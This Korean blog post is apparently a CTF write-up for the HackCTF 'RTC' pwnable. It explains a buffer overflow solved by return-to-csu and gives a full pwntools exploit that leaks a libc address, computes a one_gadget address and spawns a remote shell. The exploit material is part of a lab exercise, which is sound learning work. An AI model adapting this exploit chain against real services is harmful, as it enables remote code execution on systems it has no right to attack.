HackCTF - RTC
2021. 1. 8. 20:22ㆍCTF's Write-up
return에서 read로 0x200을 읽기 때문에 bof가 터집니다.
간단히 보면 rop로 풀이가 가능할 것 같습니다.
하..지..만 read, write를 사용해서 rop를 하려면 pop rdi, pop rsi, pop rdx 가젯이 있어야하는데..
가젯이 없으니 문제 이름과 같이 RTC를 사용해서 풀이해보겠습니다.
간략하게 정리하면
이 부분을 이용해서 가젯을 조작하고,
이 부분을 이용해서 함수를 호출하면 됩니다.
payload는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3025)
#r = process("./rtc")
e = ELF("./rtc")
l = ELF("./libc.so.6")
context.log_level = "debug"
r.recvuntil("?\n")
setting_csu = 0x00000000004006BA
excute_cse = 0x00000000004006A0
write_got_add = e.got['write']
read_got_add = e.got['read']
read_got_off = l.sym['read']
main_add = e.sym['main']
oneshot_off = 0x4526a
pay = "A"*0x48 #dummy + sfp
pay += p64(setting_csu) #ret
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(write_got_add) #r12 --> call
pay += p64(8) #r13 --> rdx
pay += p64(read_got_add) #r14 --> rsi
pay += p64(1) #r15 --> edi
pay += p64(excute_cse) #ret
pay += p64(0)*7 #dummy
pay += p64(main_add) #ret
r.send(pay)
leak = u64(r.recv(6) + "\x00\x00")
libc_base = leak - read_got_off
oneshot_add = libc_base + oneshot_off
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
r.recvuntil("?\n")
pay2 = "A"*0x48 #dummy + sfp
pay2 += p64(oneshot_add)
r.send(pay2)
r.interactive()
|
cs |
이를 실행시키면
shell획득이 가능합니다 :)
'CTF's Write-up' 카테고리의 다른 글
HackCTF - World Best Encryption Tool (0) | 2021.01.11 |
---|---|
HackCTF - Register (0) | 2021.01.10 |
DreamHack - simple-ssti (0) | 2021.01.04 |
DreamHack - web-misconf-1 (0) | 2021.01.04 |
DreamHack - rev-basic-7 (0) | 2021.01.03 |